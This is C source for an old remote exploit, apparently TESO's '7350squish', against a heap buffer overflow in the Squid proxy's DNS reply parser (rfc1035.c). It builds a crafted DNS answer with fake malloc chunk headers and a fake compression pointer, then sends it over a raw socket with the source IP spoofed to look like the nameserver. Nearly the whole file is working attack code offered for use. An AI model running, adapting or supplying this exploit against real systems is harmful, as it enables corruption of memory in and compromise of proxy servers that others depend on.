/* 7350squish - x86/linux squid remote exploit * * TESO CONFIDENTIAL - SOURCE MATERIALS * * This is unpublished proprietary source code of TESO Security. * * The contents of these coded instructions, statements and computer * programs may not be disclosed to third parties, copied or duplicated in * any form, in whole or in part, without the prior written permission of * TESO Security. This includes especially the Bugtraq mailing list, the * www.hack.co.za website and any public exploit archive. * * The restrictions of distribution covers the entire file, including this * header notice. (This means, you are not allowed to reproduce the header). * * (C) COPYRIGHT TESO Security, 2001 * All Rights Reserved * ***************************************************************************** * bug found by scut 2001/09/10 * further research by lorian. * exploit by lorian and scut. * * squid-2.4.1/lib/rfc1035.c:278:# logic fuckup, buffer overflow */ #include #include #include #include #include #include #include #include #include char udp_packet[] = "\x00\x01\x85\x80\x00\x01\x00\x02" /* header */ "\x00\x00\x00\x00" "\x00" /* question name */ "\x00\x01\x00\x01" /* question type+class */ /* answer 1 */ "\x00" "\x00\x01\x00\x01\x00\x00\x01\x2c" "\x01\x82" /* rdata length */ /* rdata+answer 2 */ "\x3f" "\x00\x00\x00\x00\x00\x00\x00\x00" /* 0-63 */ "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x3f" "\x00\x00\x00\x00\x00\x00\x00\x00" /* 64-127 */ "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x3f" "\x00\x00\x00\x00\x00\x00\x00\x00" /* 128-191 */ "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x3f" "\x00\x00\x00\x00\x00\x00\x00\x00" /* 192-255 */ "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x3f" "\x00\x00\x00\x00\x00\x00\x00\x00" /* 256-319 */ "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" /* first malloc chunk */ "\x00\x00\x00\x00\x41\x00\x00\x00" "\x55\x55\x55\x55\x66\x66\x66\x66" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x3f" "\x00\x00\x00\x00\x00\x00\x00\x00" /* 320-382 */ "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" /* second malloc chunk */ "\x00\x00\x00\x00\x48\x01\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00" "\xC0\x0C" /* fake compression, to bypass assert check */ /* answer 2 */ "\xC0\x1C" /* dont waste space */ "\x00\x01\x00\x01\x00\x00\x01\x2c" "\x00\x00"; /* * in_cksum -- * Checksum routine for Internet Protocol family headers (C Version) */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } /* Send faked UDP packet. */ int sendpkt_udp(sin, s, data, datalen, saddr, daddr, sport, dport) struct sockaddr_in *sin; unsigned short int s, datalen, sport, dport; unsigned long int saddr, daddr; char *data; { struct iphdr ip; struct udphdr udp; static char packet[8192]; /* Fill in IP header values. */ ip.ihl = 5; ip.version = 4; ip.tos = 0; ip.tot_len = htons(28 + datalen); ip.id = htons(31337 + (rand()%100)); ip.frag_off = 0; ip.ttl = 255; ip.protocol = IPPROTO_UDP; ip.check = 0; ip.saddr = saddr; ip.daddr = daddr; ip.check = in_cksum((char *)&ip, sizeof(ip)); /* Fill in UDP header values. Checksums are unnecassary. */ udp.source = htons(sport); udp.dest = htons(dport); udp.len = htons(8 + datalen); udp.check = (short) 0; /* Copy the headers into our character array. */ memcpy(packet, (char *)&ip, sizeof(ip)); memcpy(packet+sizeof(ip), (char *)&udp, sizeof(udp)); memcpy(packet+sizeof(ip)+sizeof(udp), (char *)data, datalen); return(sendto(s, packet, sizeof(ip)+sizeof(udp)+datalen, 0, (struct sockaddr *)sin, sizeof(struct sockaddr_in))); } int send_packet (char *nsname, short nsport, char *dest, short port, char *buf, int size) { int fd, socktolen, r; struct sockaddr_in sockto; struct in_addr in, ns; fd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW); if (fd == -1) { perror ("unable to create raw socket: "); exit (1); } socktolen = sizeof (struct sockaddr_in); inet_aton (dest, &in); inet_aton (nsname, &ns); socktolen = sizeof (struct sockaddr_in); memset (&sockto, 0, socktolen); sockto.sin_family = AF_INET; sockto.sin_port = htons (port); sockto.sin_addr.s_addr = in.s_addr; sendpkt_udp (&sockto, fd, buf, size, ns.s_addr, in.s_addr, nsport, port); } int main (int argc, char **argv) { char buffer[512]; FILE *f;int len; if (argc!=5) { printf ("where is the dest?"); } len=sizeof (buffer); memset (buffer, 0, len); memcpy (buffer, udp_packet, sizeof (udp_packet)); send_packet (argv[1], atoi(argv[2]), argv[3], atoi(argv[4]), (char *)&buffer, len); }